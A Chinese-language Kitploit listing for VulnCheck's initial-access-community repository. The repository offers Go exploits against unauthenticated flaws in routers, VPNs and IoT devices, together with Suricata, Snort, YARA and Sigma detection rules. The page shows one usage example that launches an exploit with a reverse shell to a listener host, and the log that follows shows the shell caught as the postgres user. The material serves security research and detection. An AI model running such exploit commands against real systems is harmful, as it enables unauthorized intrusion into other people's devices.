Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
initial-access-community — 基于 Go 的漏洞利用工具，针对路由器、VPN、设备及物联网中未经身份验证的网络漏洞，并附带 PCAP、Suricata/Snort/YARA/Sigma 规则以及 Nmap 脚本。 | Kitploit
工具/GitHubGitHub/vulncheck-oss/initial-access-community
嵌入式系统安全侦察漏洞利用框架物联网安全漏洞分析漏洞利用网络安全渗透测试精选资源

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload 开发
GitHubvulncheck-oss/initial-access-community

initial-access-community

基于 Go 的漏洞利用工具，针对路由器、VPN、设备及物联网中未经身份验证的网络漏洞，并附带 PCAP、Suricata/Snort/YARA/Sigma 规则以及 Nmap 脚本。

查看仓库网站
213231天前Kitploit 审核通过

初始访问社区

VulnCheck 的初始访问社区仓库包含来自我们专有的 Initial Access Intelligence 产品的漏洞利用及相关制品，以及社区贡献。初始访问的典型关注点是无需用户交互的基于网络的漏洞，并强烈倾向于未认证漏洞。典型目标包括路由器、VPN、自托管服务（MobileIron、GitLab、Confluence 等）、网络设备、B2B 应用程序和 IoT 设备。

漏洞利用使用 Go 编写，基于 VulnCheck 的 go-exploit 框架。在可能的情况下，漏洞利用包含目标验证器和版本扫描器。不过，初始访问不仅仅关乎漏洞利用。我们也关注发现和检测。除漏洞利用之外，在可能的情况下，我们还会包含：

  • PCAP 文件
  • Suricata 规则
  • Snort 2.9 规则
  • YARA 规则
  • Nmap 脚本
  • Sigma 规则
  • 易受攻击的 Docker Compose 环境
  • 针对 Censys、Censys Legacy、Shodan、FOFA、ZoomEye、Google 和百度的目标情报查询。

漏洞利用

漏洞利用设计

我们在漏洞利用设计上遵循与 go-exploit 相同的指导原则。参见 go-exploit 包概览。

漏洞利用用法

$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)

仓库布局

  • feed/ - 漏洞利用及特定漏洞相关制品
  • verification/ - 共享的目标验证代码
  • shells/ - 共享的 shell 和载荷代码
  • examples/ - 用于构建新漏洞利用的模板
  • tools/ - 项目工具和实用程序
下载工具